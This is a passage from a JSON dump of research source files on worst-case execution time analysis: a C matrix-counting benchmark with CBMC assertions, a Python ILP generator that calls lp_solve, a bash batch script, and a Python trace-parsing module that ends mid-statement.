count taken from MDH suite and modified\n * by Adam Betts to consume a test vector supplied on the command line.\n *\n * For this program, the test vector consists of UPPERLIMIT * UPPERLIMIT integers \n * since there is a matrix if that size to be initialised. \n * The program does the following:\n * 1) It counts the number of positive numbers in the matrix.\n * 2) It sums the positive numbers.\n * 3) It counts the number of negative numbers in the matrix.\n * 4) It sums the negative numbers.\n */\n\n#define UPPERLIMIT 5\ntypedef int matrix[UPPERLIMIT][UPPERLIMIT];\n\nint Postotal;\nint Negtotal;\nint Poscnt;\nint Negcnt;\n\nint\nmatrix_count (matrix A)\n{\n #ifdef CBMC\n//==========> matrix_count : header 7\nint __count_4_6 = 0;\nint __count_5_6 = 0;\nint __count_7_3 = 0; //Loop counter\n//==========> matrix_count : header 9\nint __count_7_8 = 0;\nint __count_9_2 = 0; //Loop counter\n//==========> matrix_count : header 1\nint __count_10 = 0;\nint __count_9_10 = 0;\n #endif\n int i, j;\n int Ptotal = 0;\n int Ntotal = 0;\n int Pcnt = 0;\n int Ncnt = 0;\n\n #ifdef CBMC\n __count_9_2 = 0;\n #endif\n for (i = 0; i < UPPERLIMIT; ++i) // 9\n {\n #ifdef CBMC\n __count_9_2++;\n #endif\n\n #ifdef CBMC\n __count_7_3 = 0;\n #endif\n for (j = 0; j < UPPERLIMIT; ++j) // 7\n {\n #ifdef CBMC\n __count_7_3++;\n #endif\n if (A[i][j] < 0) // 3\n {\n // 4\n Ntotal += A[i][j];\n Ncnt++;\n #ifdef CBMC\n __count_4_6++;\n #endif\n }\n else\n {\n #ifdef CBMC\n __count_5_6++;\n #endif\n Ptotal += A[i][j];\n Pcnt++;\n }\n }\n #ifdef CBMC\n assert(__count_7_3 <= 6); // Loop counter property\n __count_7_8++;\n #endif\n }\n #ifdef CBMC\n assert(__count_9_2 <= 6); // Loop counter property\n #endif\n\n Postotal = Ptotal;\n Poscnt = Pcnt;\n Negtotal = Ntotal;\n Negcnt = Ncnt;\n \n #ifdef CBMC\n __count_9_10++;\n __count_10++;\n #endif\n\n#ifdef CBMC\n//assert(__count_5_6 >= 4); // Lower capacity constraint\n//assert(__count_5_6 <= 17); // Upper capacity constraint\nassert(__count_7_8 >= 5); // Lower capacity constraint\nassert(__count_7_8 <= 5); // Upper capacity constraint\nassert(__count_10 >= 1); // Lower capacity constraint\nassert(__count_10 <= 1); // Upper capacity constraint\nassert(__count_9_10 >= 1); // Lower capacity constraint\nassert(__count_9_10 <= 1); // Upper capacity constraint\n//assert(__count_4_6 >= 8); // Lower capacity constraint\n//assert(__count_4_6 <= 21); // Upper capacity constraint\n#endif\n\n return Postotal + Poscnt + Negtotal + Negcnt;\n}\n\nint\nmain (int argc, char *argv[])\n{\n int i, j, k;\n matrix A;\n\n /*\n * There is a matrix with UPPERLIMIT*UPPERLIMIT dimensions that needs to be filled up.\n * This many values need to be passed on the command-line as a consequence.\n */\n if (argc != UPPERLIMIT * UPPERLIMIT + 1)\n {\n return 1;\n }\n\n /*\n * Initialise matrix A.\n */\n k = 0;\n for (i = 0; i < UPPERLIMIT; ++i)\n {\n for (j = 0; j < UPPERLIMIT; ++j)\n {\n A[i][j] = atoi (argv[k + 1]);\n k++;\n }\n }\n\n int val = matrix_count (A);\n \n printf(\"%d\", val);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.5073490738868713, "alphanum_fraction": 0.5110236406326294, "avg_line_length": 35.95145797729492, "blob_id": "425fa42674e58de2760f20feadc9f5b8533608e0", "content_id": "c39c083f16f70d0e9e43623978d8fa30cbc989de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3810, "license_type": "no_license", "max_line_length": 91, "num_lines": 103, "path": "/GPUTimingAnalysis/src/WCET.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import Debug\nimport decimal, os\n\nedgePrefix = \"e_\"\nendStmt = \";\"\nplus = \" + \"\nequals = \" = \"\nltOrEqual = \" <= \"\ncomma = \", \"\nnewLine = \"\\n\"\n\nclass LinearProgram ():\n def __init__(self, ipg, traceData, basename, basepath):\n self.__wcet = 0\n outputFilename = basepath + os.sep + basename + \".ilp\"\n with open(outputFilename, 'w') as f:\n self.__writeObjectiveFunction(f, ipg, traceData)\n self.__writeStructuralConstraints(f, ipg)\n self.__writeCountConstraints(f, ipg, traceData)\n self.__writeNonNegativeConstraints(f, ipg)\n self.__solve(ipg, outputFilename)\n \n def getWCET (self):\n return self.__wcet\n \n def __solve(self, ipg, ilpFile):\n from subprocess import Popen, PIPE\n import shlex\n Debug.debugMessage(\"Solving ILP\", 10)\n command = \"lp_solve %s\" % ilpFile \n proc = Popen(command, shell=True, executable=\"/bin/bash\", stdout=PIPE, stderr=PIPE)\n returnCode = proc.wait()\n if returnCode != 0:\n Debug.exitMessage(\"Running '%s' failed\" % command)\n for line in proc.stdout.readlines():\n if line.startswith(\"Value of objective function\"):\n lexemes = shlex.split(line)\n wcet = long(decimal.Decimal(lexemes[-1]))\n self.__wcet = wcet\n \n def __writeObjectiveFunction(self, f, ipg, traceData):\n f.write(\"max: \")\n count = 0\n numOfEdges = ipg.numOfEdges()\n for vertexID in ipg.vertices:\n v = ipg.getVertex(vertexID)\n for succe in v.getSuccessorEdges ():\n count += 1\n edgeID = succe.getEdgeID()\n wcet = traceData.getWCETOfEdge(edgeID)\n f.write(\"%d %s%d\" % (wcet, edgePrefix, edgeID))\n if count < numOfEdges:\n f.write(plus)\n f.write(\"%s%s\" % (endStmt, newLine))\n \n def __writeStructuralConstraints(self, f, ipg):\n f.write(newLine)\n for vertexID in ipg.vertices:\n v = ipg.getVertex(vertexID)\n count = 0\n for prede in v.getPredecessorEdges ():\n count += 1\n f.write(\"%s%d\" % (edgePrefix, prede.getEdgeID()))\n if count < v.numberOfPredecessors():\n f.write(plus)\n \n f.write(equals)\n \n count = 0\n for succe in v.getSuccessorEdges ():\n count += 1\n f.write(\"%s%d\" % (edgePrefix, succe.getEdgeID()))\n if count < v.numberOfSuccessors():\n f.write(plus)\n \n f.write(\"%s%s\" % (endStmt, newLine))\n \n def __writeCountConstraints(self, f, ipg, traceData):\n f.write(newLine)\n for vertexID in ipg.vertices:\n v = ipg.getVertex(vertexID)\n for succe in v.getSuccessorEdges ():\n edgeID = succe.getEdgeID()\n wcec = traceData.getWCECOfEdge(edgeID)\n if vertexID == ipg.getExitID():\n wcec = 1\n f.write(\"%s%d%s%d\" % (edgePrefix, edgeID, ltOrEqual, wcec))\n f.write(\"%s%s\" % (endStmt, newLine))\n \n def __writeNonNegativeConstraints(self, f, ipg):\n f.write(newLine)\n f.write(\"int \")\n count = 0\n numOfEdges = ipg.numOfEdges()\n for vertexID in ipg.vertices:\n v = ipg.getVertex(vertexID)\n for succe in v.getSuccessorEdges ():\n edgeID = succe.getEdgeID()\n count += 1\n f.write(\"%s%d\" % (edgePrefix, edgeID))\n if count < numOfEdges:\n f.write(comma)\n f.write(\"%s%s\" % (endStmt, newLine))\n " }, { "alpha_fraction": 0.6060320734977722, "alphanum_fraction": 0.627709686756134, "avg_line_length": 20.18000030517578, "blob_id": "cf05dc3a785050030c0afda241b89631289043f0", "content_id": "a142d95e5eff1b55f85c60eca0b92f4550cf7cd4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1061, "license_type": "no_license", "max_line_length": 91, "num_lines": 50, "path": "/scripts/run_super_block_calculations.sh", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nfunction clean_up {\n rm -f [0-9][0-9]*.txt *.ilp\n exit\n}\n\ntrap clean_up INT\n\nMIN_VERTICES=10\nMAX_VERTICES=1000\nSUBPROGRAMS=100\nLOOPS=0\nNESTING_DEPTH=1\nOUTPUT_DIR=super_block_results\n\nmkdir -p $OUTPUT_DIR\n\nwhile getopts \":s:l:n:a:b\" opt; do\n case $opt in\n a) MIN_VERTICES=$OPTARG\n ;;\n b) MAX_VERTICES=$OPTARG\n ;;\n s) SUBPROGRAMS=$OPTARG\n ;;\n l) LOOPS=$OPTARG\n ;;\n n) NESTING_DEPTH=$OPTARG\n ;;\n \\?)\n echo \"Invalid option: -$OPTARG\" >&2\n exit 1\n ;;\n :)\n echo \"Option -$OPTARG requires an argument.\" >&2\n exit 1\n ;;\n esac\ndone\n\nfor i in `seq $MIN_VERTICES $MAX_VERTICES`;\ndo\n echo \"Doing analysis on control flow graphs with $i vertices\"\n python3 ../tools/program_generator.py --vertices $i --program_file $i.txt\\\n --subprograms $SUBPROGRAMS --loops $LOOPS --nesting-depth $NESTING_DEPTH\n python3 ../tools/super_block_calculations.py $i.txt\\\n --output $OUTPUT_DIR/$i.subprograms_$SUBPROGRAMS.loops_$LOOPS.depth_$NESTING_DEPTH.txt\\\n --repeat 10 --folded\ndone\n\n\n" }, { "alpha_fraction": 0.5463177561759949, "alphanum_fraction": 0.5538023114204407, "avg_line_length": 55.632911682128906, "blob_id": "28db4e5111b5839d3d9e97aff3946dcfe310c168", "content_id": "d02a4fc7e3ef3b0753d03b48c6e156cafa43b3f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 35807, "license_type": "no_license", "max_line_length": 211, "num_lines": 632, "path": "/DaikonPathInformation/src/traces.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import edges\nimport vertices\nimport debug\nimport arm\nimport config\nimport random\nimport os\nimport shlex\nimport gzip\n\nnewTrace = \"=>\"\nendTrace = \"<=\"\n\nclass Generatetraces:\n maxNumberOfCalls = 20\n maxLoopIterations = 10\n \n def __init__ (self, program, numberOftraces=1):\n self.__program = program\n filename = config.Arguments.basepath + os.sep + config.Arguments.basename + \".traces\"\n with open(filename, 'w') as self.__outfile:\n for trace in xrange(1, numberOftraces+1):\n debug.debug_message(\"Generating trace #%d\" % trace, 1)\n self.__outfile.write(\"%s\\n\" % newTrace)\n self.__generateTrace() \n self.__outfile.write(\"\\n%s\\n\" % endTrace)\n \n def __generateTrace (self):\n # To keep track of loop tail iteration count\n self.__functionToTailCount = {}\n # To keep trace of the number of function calls\n self.__numberOfCalls = 0\n callg = self.__program.getCallGraph()\n rootv = callg.getVertex(callg.getRootID())\n self.__currentCallv = rootv\n self.__currentCFG = self.__program.getCFG(rootv.getName())\n self.__currentLNT = self.__program.getLNT(rootv.getName())\n self.__currentv = self.__currentCFG.getVertex(self.__currentCFG.getEntryID())\n self.__vertexID = self.__currentv.vertexID\n self.__callStack = []\n while True: \n self.__outfile.write(\"%d \" % self.__vertexID)\n if self.__vertexID == self.__currentCFG.getExitID():\n if callg.getVertexWithName(self.__currentCFG.getName()) == rootv:\n # End of the program reached\n break\n else:\n # End of function call\n debug.debug_message(\"Returning from %s\" % self.__currentCallv.getName(), 5)\n self.__currentCallv, self.__currentCFG, self.__currentLNT, self.__currentv = self.__callStack.pop()\n self.__vertexID = self.__currentv.vertexID\n # Go past the call site\n self.__chooseSuccessorInICFG()\n elif self.__currentLNT.isLoopTail(self.__vertexID):\n tupleIndex = self.__currentCFG.getName(), self.__vertexID\n if tupleIndex not in self.__functionToTailCount:\n self.__functionToTailCount[tupleIndex] = 1\n self.__chooseSuccessorInICFG()\n elif self.__functionToTailCount[tupleIndex] < Generatetraces.maxLoopIterations:\n self.__functionToTailCount[tupleIndex] += 1\n self.__chooseSuccessorInICFG()\n else:\n self.__chooseNonLoopBackEdgeSuccessorInICFG()\n elif self.__currentCFG.isCallSite(self.__vertexID):\n # Make the call. First save state then move to the callee ICFG\n self.__callStack.append((self.__currentCallv, self.__currentCFG, self.__currentLNT, self.__currentv))\n succID = self.__currentCallv.getSuccessorWithCallSite(self.__vertexID)\n self.__currentCallv = callg.getVertex(succID)\n calleeName = self.__currentCallv.getName()\n debug.debug_message(\"Calling %s\" % self.__currentCallv.getName(), 5)\n self.__currentCFG = self.__program.getICFG(calleeName)\n self.__currentLNT = self.__program.getLNT(calleeName)\n self.__currentv = self.__currentCFG.getVertex(self.__currentCFG.getEntryID())\n self.__vertexID = self.__currentv.vertexID\n else:\n self.__chooseSuccessorInICFG()\n \n def __chooseSuccessorInICFG (self):\n succIndex = random.randint(0, self.__currentv.numberOfSuccessors() - 1)\n succID = self.__currentv.getSuccessorIDs()[succIndex]\n self.__currentv = self.__currentCFG.getVertex(succID)\n self.__vertexID = self.__currentv.vertexID\n \n def __chooseNonLoopBackEdgeSuccessorInICFG (self):\n succIDs = [succID for succID in self.__currentv.getSuccessorIDs() if not self.__currentLNT.isLoopBackEdge(self.__vertexID, succID)]\n succIndex = random.randint(0, len(succIDs) - 1)\n succID = succIDs[succIndex]\n self.__currentv = self.__currentCFG.getVertex(succID)\n self.__vertexID = self.__currentv.vertexID\n \nclass TraceInformation:\n def __init__ (self, program):\n self._program = program\n self._allruns = set([])\n self._initialiseOptionalPathInformation()\n self._initialiseRequiredPathInformation()\n \n def _initialiseOptionalPathInformation (self):\n self._executionCountsThisRun = {}\n self._relativeExecutionCountsThisRun = {}\n for cfg in self._program.getcfgs():\n pathg = self._program.getPathInfoGraph(cfg.name)\n lnt = self._program.getLNT(cfg.name)\n self._executionCountsThisRun[pathg] = {}\n self._relativeExecutionCountsThisRun[pathg] = {}\n for v in pathg:\n self._executionCountsThisRun[pathg][v.vertexID] = 0\n for headerID in lnt.getHeaderIDs():\n self._executionCountsThisRun[pathg][headerID] = 0\n self._relativeExecutionCountsThisRun[pathg][headerID] = 0\n \n def _initialiseRequiredPathInformation (self):\n self._longestTime = 0\n self._executionTimes = {}\n for cfg in self._program.getcfgs():\n functionName = cfg.getName()\n for v in cfg:\n self._executionTimes[(functionName, v.getOriginalVertexID())] = 0\n \n def _endOfFunction (self, cfg, lnt, pathg):\n functionName = cfg.getName()\n debug.debug_message(\"Falsifying conjectures in %s\" % functionName, 10)\n # Mutual inclusion and mutual exclusion\n for v in pathg:\n vertexID = v.vertexID\n executionCount = self._executionCountsThisRun[pathg][vertexID]\n # Capacity execution counts \n for succe in v.getSuccessoredges(edges.PathInformationEdgeType.CAPACITY_BOUNDS):\n if executionCount < succe.lower:\n debug.debug_message(\"Falsifying conjecture that %s executes at least %d times. Found %d instead\" % (v.__str__(), succe.lower, executionCount), 1)\n succe.lower = executionCount\n if executionCount > succe.upper:\n debug.debug_message(\"Falsifying conjecture that %s executes at most %d times. Found %d instead\" % (v.__str__(), succe.upper, executionCount), 1)\n succe.upper = executionCount\n # If this vertex has been triggered in this run\n if executionCount > 0:\n # Falsify execution implication conjectures\n mutualExclusionCandiates = set([])\n falsified = set([])\n for succe in v.getSuccessoredges(edges.PathInformationEdgeType.INCLUSION):\n succID = succe.vertexID\n if self._executionCountsThisRun[pathg][succID] == 0:\n succv = pathg.getVertex(succID)\n debug.debug_message(\"When %s executes, %s does not always execute (EXECUTION DEPENDENCE FALSIFIED)\" % (v.__str__(), succv.__str__()), 1)\n falsified.add(succID)\n if not succv.hasSuccessorEdge(vertexID, edges.PathInformationEdgeType.INCLUSION):\n mutualExclusionCandiates.add(succID)\n for succID in falsified:\n v.removeSuccessorEdge(succID, edges.PathInformationEdgeType.INCLUSION)\n # Falsify mutual-exclusion conjectures\n falsified = set([])\n for succe in v.getSuccessoredges(edges.PathInformationEdgeType.EXCLUSION):\n succID = succe.vertexID\n if self._executionCountsThisRun[pathg][succID] > 0:\n succv = pathg.getVertex(succID)\n debug.debug_message(\"When %s executes, %s may execute (EXCLUSIVITY FALSIFIED)\" % (v.__str__(), succv.__str__()), 1)\n falsified.add(succID)\n for succID in falsified:\n v.removeSuccessorEdge(succID, edges.PathInformationEdgeType.EXCLUSION) \n succv = pathg.getVertex(succID)\n succv.removeSuccessorEdge(vertexID, edges.PathInformationEdgeType.EXCLUSION)\n # Add mutual-exclusion conjectures\n for succID in mutualExclusionCandiates:\n succv = pathg.getVertex(succID)\n v.addSuccessorEdge(succID, edges.PathInformationEdgeType.EXCLUSION)\n succv.addSuccessorEdge(vertexID, edges.PathInformationEdgeType.EXCLUSION)\n debug.debug_message(\"New conjecture: %s and %s are MUTUALLY EXCLUSIVE\" % (v.__str__(), succv.__str__()), 1)\n \n for headerID in lnt.getHeaderIDs():\n programPoint = list(pathg.getLoopMonitoredProgramPoints(headerID))[0]\n pathv = pathg.getProgramPointVertex(programPoint)\n succe = pathv.getSuccessoredges(edges.PathInformationEdgeType.LOOP_BOUNDS)[0]\n executionCount = self._executionCountsThisRun[pathg][headerID]\n if executionCount > succe.upper:\n debug.debug_message(\"Falsifying conjecture that %d executes at most %d times. Found %d instead\" % (headerID, succe.upper, executionCount), 1)\n succe.upper = executionCount\n self._executionCountsThisRun[pathg][headerID] = 0\n \n for v in pathg:\n vertexID = v.vertexID\n self._executionCountsThisRun[pathg][vertexID] = 0\n \n def _end (self):\n for cfg in self._program.getcfgs():\n functionName = cfg.getName()\n pathg = self._program.getPathInfoGraph(functionName) \n debug.verbose_message(\n\"\"\"%s\nFUNCTION '%s'\n%s\"\"\" \\\n% ('*' * 100, functionName, '*' * 100), __name__)\n for vertexID1, vertexID2 in pathg.mutualInclusionPairs():\n v1 = pathg.getVertex(vertexID1)\n v2 = pathg.getVertex(vertexID2)\n succe1 = v1.getSuccessoredges(edges.PathInformationEdgeType.CAPACITY_BOUNDS)[0]\n succe2 = v2.getSuccessoredges(edges.PathInformationEdgeType.CAPACITY_BOUNDS)[0]\n if succe1.lower > 0 and succe2.lower > 0:\n debug.verbose_message(\" IGNORING MUTUAL INCLUSION: %s and %s\" % (v1.__str__(), v2.__str__()), __name__)\n v1.removeSuccessorEdge(vertexID2, edges.PathInformationEdgeType.INCLUSION)\n v2.removeSuccessorEdge(vertexID1, edges.PathInformationEdgeType.INCLUSION)\n \n for v in pathg:\n vertexID = v.vertexID\n succe = v.getSuccessoredges(edges.PathInformationEdgeType.CAPACITY_BOUNDS)[0]\n if succe.lower == 0 and succe.upper == 0:\n for succe in v.getSuccessoredges(edges.PathInformationEdgeType.INCLUSION):\n succID = succe.vertexID\n succv = pathg.getVertex(succID)\n succv.removeSuccessorEdge(vertexID, edges.PathInformationEdgeType.INCLUSION)\n debug.verbose_message(\" IGNORING MUTUAL INCLUSION BECAUSE OF DEAD CODE: %s and %s\" % (v.__str__(), succv.__str__()), __name__)\n for succe in v.getSuccessoredges(edges.PathInformationEdgeType.EXCLUSION):\n succID = succe.vertexID\n succv = pathg.getVertex(succID)\n succv.removeSuccessorEdge(vertexID, edges.PathInformationEdgeType.EXCLUSION)\n debug.verbose_message(\" IGNORING MUTUAL EXCLUSION BECAUSE OF DEAD CODE: %s and %s\" % (v.__str__(), succv.__str__()), __name__)\n v.removeAllSuccessors()\n \n def _normaliseData (self):\n for tupleKey in self._executionTimes.keys():\n self._executionTimes[tupleKey] *= pow(10,-3)\n self._longestTime *= pow(10,-3)\n \n def __computeInnerRelativeBounds (self, pathg, lnt, pathv, headerv):\n for succID in headerv.getSuccessorIDs():\n succv = lnt.getVertex(succID)\n if isinstance(succv, vertices.HeaderVertex):\n innerHeaderID = succv.getHeaderID()\n innerProgramPoint = list(pathg.getLoopMonitoredProgramPoints(innerHeaderID))[0]\n innerPathv = pathg.getProgramPointVertex(innerProgramPoint)\n succe = innerPathv.getSuccessoredges(edges.PathInformationEdgeType.LOOP_BOUNDS)[0]\n executionCount = self._relativeExecutionCountsThisRun[pathg][innerHeaderID]\n if executionCount > succe.relative:\n debug.debug_message(\"Falsifying conjecture that %d executes at most %d times relative to its innermost enclosing loop. Found %d instead\" % (innerHeaderID, succe.relative, executionCount), 1)\n succe.relative = executionCount\n self._relativeExecutionCountsThisRun[pathg][innerHeaderID] = 0\n \n def __analyseProgramPoint (self, pathg, lnt, pathv):\n vertexID = pathv.vertexID\n self._executionCountsThisRun[pathg][vertexID] += 1\n if pathv.isEffectiveHeaderCounter():\n for headerID in pathv.getHeaderIDsForWhichToCount():\n self._relativeExecutionCountsThisRun[pathg][headerID] += 1\n self._executionCountsThisRun[pathg][headerID] += 1\n headerv = lnt.getVertex(lnt.getVertex(pathv.getHeaderID()).getParentID())\n self.__computeInnerRelativeBounds(pathg, lnt, pathv, headerv)\n \n def _analyseCFGVertex (self, pathg, lnt, vertexID):\n pathv = pathg.isMonitoredVertex(vertexID)\n if pathv:\n self.__analyseProgramPoint(pathg, lnt, pathv)\n \n def _analyseCFGEdge (self, pathg, lnt, predID, succID):\n pathv = pathg.isMonitoredEdge(predID, succID)\n if pathv:\n self.__analyseProgramPoint(pathg, lnt, pathv)\n \n def getExecutionTime (self, functionName, vertexID):\n tupleKey = (functionName, vertexID)\n assert tupleKey in self._executionTimes\n return self._executionTimes[tupleKey]\n \n def getLongestTime (self):\n return self._longestTime \n \n def _outputConjectures (self): \n for cfg in self._program.getcfgs():\n functionName = cfg.getName()\n pathg = self._program.getPathInfoGraph(functionName)\n debug.verbose_message(\n\"\"\"%s\nFUNCTION '%s'\n%s\"\"\" \\\n% ('*' * 100, functionName, '*' * 100), __name__)\n \n for v in pathg:\n for succe in v.getSuccessoredges(edges.PathInformationEdgeType.CAPACITY_BOUNDS):\n if succe.lower == 0 and succe.upper == 0:\n debug.verbose_message(\" NEVER EXECUTES: %s\" % (v.__str__(),), __name__)\n elif succe.lower > 0:\n debug.verbose_message(\" ALWAYS EXECUTES: %s, at least %d time(s), at most %d time(s)\" % (v.__str__(), succe.lower, succe.upper), __name__)\n else:\n debug.verbose_message(\" MAY EXECUTE: %s, at most %d time(s)\" % (v.__str__(), succe.upper), __name__)\n \n \n debug.verbose_message(\n\"\"\"%s\nDEPENDENT EXECUTION CONJECTURES\n%s\"\"\" \\\n % ('-' * 50, '-' * 50), __name__)\n for vertexID1, vertexID2 in pathg.mutualInclusionPairs():\n v1 = pathg.getVertex(vertexID1)\n v2 = pathg.getVertex(vertexID2)\n debug.verbose_message(\" MUTUALLY INCLUSIVE: %s and %s\" % (v1.__str__(), v2.__str__()), __name__)\n for vertexID1, vertexID2 in pathg.mutualExclusionPairs():\n v1 = pathg.getVertex(vertexID1)\n v2 = pathg.getVertex(vertexID2)\n debug.verbose_message(\" MUTUALLY EXCLUSIVE: %s and %s\" % (v1.__str__(), v2.__str__()), __name__)\n for vertexID1, vertexID2 in pathg.executionDependencies():\n v1 = pathg.getVertex(vertexID1)\n v2 = pathg.getVertex(vertexID2)\n debug.verbose_message(\" ONE-WAY DEPENDENCY: %s on %s\" % (v1.__str__(), v2.__str__()), __name__)\n \n def _outputCBMCConjectures (self): \n for cfg in self._program.getcfgs():\n functionName = cfg.getName()\n pathg = self._program.getPathInfoGraph(functionName)\n lnt = self._program.getLNT(functionName)\n print(\n\"\"\"%s\nFUNCTION '%s'\n%s\"\"\" \\\n% ('*' * 100, functionName, '*' * 100))\n \n print \"#ifdef CBMC\"\n \n for lntv in lnt:\n if isinstance(lntv, vertices.HeaderVertex):\n headerID = lntv.getHeaderID()\n if headerID != cfg.getEntryID():\n loopBody = lnt.getLoopBody(headerID)\n v = cfg.getVertex(headerID)\n forwardedges = []\n for succID in v.getSuccessorIDs():\n if succID in loopBody:\n forwardedges.append((headerID, succID))\n count = 1\n lhs = \"\"\n for edge in forwardedges:\n lhs += \"__count_%d_%d \" % (edge[0], edge[1])\n if count < len(forwardedges):\n lhs += \" + \"\n relativeBound = 0\n for programPoint in pathg.getLoopMonitoredProgramPoints(headerID):\n pathv = pathg.getProgramPointVertex(programPoint)\n succe = pathv.getSuccessoredges(edges.PathInformationEdgeType.LOOP_BOUNDS)[0]\n relativeBound = max(relativeBound, succe.relative)\n print(\"assert(%s <= %d); // Loop counter property\" % (lhs, relativeBound))\n \n for v in pathg:\n programPoint = v.getProgramPoint()\n if isinstance(programPoint, tuple):\n programPointStr = \"__count_%d_%d\" % (programPoint[0], programPoint[1])\n else:\n programPointStr = \"__count_%d\" % programPoint\n for succe in v.getSuccessoredges(edges.PathInformationEdgeType.CAPACITY_BOUNDS):\n if succe.lower == 0 and succe.upper == 0:\n print(\"assert(%s == 0); // Dead code\" % (programPointStr))\n elif succe.lower > 0:\n print(\"assert(%s >= %d); // Lower capacity constraint\" % (programPointStr, succe.lower))\n print(\"assert(%s <= %d); // Upper capacity constraint\" % (programPointStr, succe.upper))\n else:\n print(\"assert(%s <= %d); // Upper capacity constraint\" % (programPointStr, succe.upper))\n \n for vertexID1, vertexID2 in pathg.mutualInclusionPairs():\n v1 = pathg.getVertex(vertexID1)\n v2 = pathg.getVertex(vertexID2)\n programPoint1 = v1.getProgramPoint()\n if isinstance(programPoint1, tuple):\n programPoint1Str = \"__count_%d_%d\" % (programPoint1[0], programPoint1[1])\n else:\n programPoint1Str = \"__count_%d\" % programPoint1\n programPoint2 = v2.getProgramPoint()\n if isinstance(programPoint2, tuple):\n programPoint2Str = \"__count_%d_%d\" % (programPoint2[0], programPoint2[1])\n else:\n programPoint2Str = \"__count_%d\" % programPoint2\n print(\"assert(%s > 0 ==> %s > 0); // Mutual inclusion\" % (programPoint1Str, programPoint2Str))\n print(\"assert(%s > 0 ==> %s > 0); // Mutual inclusion\" % (programPoint2Str, programPoint1Str))\n for vertexID1, vertexID2 in pathg.mutualExclusionPairs():\n v1 = pathg.getVertex(vertexID1)\n v2 = pathg.getVertex(vertexID2)\n programPoint1 = v1.getProgramPoint()\n if isinstance(programPoint1, tuple):\n programPoint1Str = \"__count_%d_%d\" % (programPoint1[0], programPoint1[1])\n else:\n programPoint1Str = \"__count_%d\" % programPoint1\n programPoint2 = v2.getProgramPoint()\n if isinstance(programPoint2, tuple):\n programPoint2Str = \"__count_%d_%d\" % (programPoint2[0], programPoint2[1])\n else:\n programPoint2Str = \"__count_%d\" % programPoint2\n print(\"assert(%s > 0 ==> %s == 0); // Mutual exclusion\" % (programPoint1Str, programPoint2Str))\n print(\"assert(%s > 0 ==> %s == 0); // Mutual exclusion\" % (programPoint2Str, programPoint1Str))\n for vertexID1, vertexID2 in pathg.executionDependencies():\n v1 = pathg.getVertex(vertexID1)\n v2 = pathg.getVertex(vertexID2)\n programPoint1 = v1.getProgramPoint()\n if isinstance(programPoint1, tuple):\n programPoint1Str = \"__count_%d_%d\" % (programPoint1[0], programPoint1[1])\n else:\n programPoint1Str = \"__count_%d\" % programPoint1\n programPoint2 = v2.getProgramPoint()\n if isinstance(programPoint2, tuple):\n programPoint2Str = \"__count_%d_%d\" % (programPoint2[0], programPoint2[1])\n else:\n programPoint2Str = \"__count_%d\" % programPoint2\n print(\"assert(%s > 0 ==> %s > 0); // Execution dependence\" % (programPoint1Str, programPoint2Str))\n print \"#endif\"\n \nclass Parsetraces (TraceInformation):\n def __init__ (self, basename, tracefile, program):\n TraceInformation.__init__(self, program)\n self.__initialise()\n self.__parse(tracefile)\n self._end()\n self._outputConjectures() \n self.__assignRandomWCETs()\n \n def __assignRandomWCETs (self):\n for cfg in self._program.getcfgs():\n functionName = cfg.getName()\n for v in cfg:\n self._executionTimes[(functionName, v.getOriginalVertexID())] = random.randint(1,100)\n\n def __initialise (self):\n self.__currentContextv = None\n self.__currentCFG = None\n self.__currentLNT = None\n self.__predBB = None\n self.__currentBB = None\n self.__currentHeaderID = None\n self.__currentPathg = None\n self.__stack = []\n self.__contextg = self._program.getContextGraph()\n rootv = self.__contextg.getVertex(self.__contextg.getRootID())\n self.__rootCFG = self._program.getCFG(rootv.getName())\n self.__entryToCFG = {} \n for cfg in self._program.getcfgs():\n self.__entryToCFG[cfg.getEntryID()] = cfg\n \n def __reset (self):\n self.__currentContextv = self.__contextg.getVertex(self.__contextg.getRootID())\n self.__currentCFG = self._program.getCFG(self.__currentContextv.getName())\n self.__currentLNT = self._program.getLNT(self.__currentContextv.getName())\n self.__currentPathg = self._program.getPathInfoGraph(self.__currentContextv.getName())\n self.__predBB = None\n self.__currentBB = None\n \n def __parse (self, tracefile):\n runID = 0\n with open(tracefile, 'r') as f:\n for line in f:\n if line.startswith(newTrace):\n runID += 1\n debug.debug_message(\"=====> Run %d\" % runID, 1)\n self._allruns.add(runID)\n self.__reset()\n elif line.startswith(endTrace):\n self.__handleReturn()\n else:\n lexemes = shlex.split(line)\n for lex in lexemes:\n nextID = int(lex)\n if nextID == self.__rootCFG.getEntryID():\n self.__currentBB = self.__currentCFG.getVertex(nextID)\n else:\n found = False\n for succID in self.__currentBB.getSuccessorIDs():\n if succID == nextID:\n self.__predBB = self.__currentBB\n self.__currentBB = self.__currentCFG.getVertex(succID)\n # We have switched basic blocks in the current CFG\n self._analyseCFGEdge(self.__currentPathg, self.__currentLNT, self.__predBB.vertexID, self.__currentBB.vertexID)\n found = True\n break\n if not found:\n if self.__currentBB.vertexID == self.__currentCFG.getExitID():\n succIDs = self.__currentBB.getSuccessorIDs()\n assert len(succIDs) == 1\n succv = self.__currentCFG.getVertex(succIDs[0])\n self.__predBB = self.__currentBB\n self.__currentBB = succv\n # Since we have switched basic blocks in the current CFG, analyse the super blocks\n self._analyseCFGEdge(self.__currentPathg, self.__currentLNT, self.__predBB.vertexID, self.__currentBB.vertexID) \n else:\n self.__handleCall(nextID) \n # We have switched basic blocks in the current CFG\n self._analyseCFGVertex(self.__currentPathg, self.__currentLNT, self.__currentBB.vertexID)\n \n def __handleReturn (self):\n debug.debug_message(\"Returning because of basic block %d\" % self.__currentBB.vertexID, 1)\n self._endOfFunction(self.__currentCFG, self.__currentLNT, self.__currentPathg)\n if self.__stack:\n (self.__currentContextv, self.__currentCFG, self.__currentLNT, self.__predBB, self.__currentBB, self.__currentPathg) = self.__stack.pop()\n \n def __handleCall (self, nextID):\n callerFrame = (self.__currentContextv, self.__currentCFG, self.__currentLNT, self.__predBB, self.__currentBB, self.__currentPathg)\n self.__stack.append(callerFrame)\n newContextID = self.__currentContextv.getSuccessorWithCallSite(self.__currentBB.vertexID)\n self.__currentContextv = self.__contextg.getVertex(newContextID)\n self.__currentCFG = 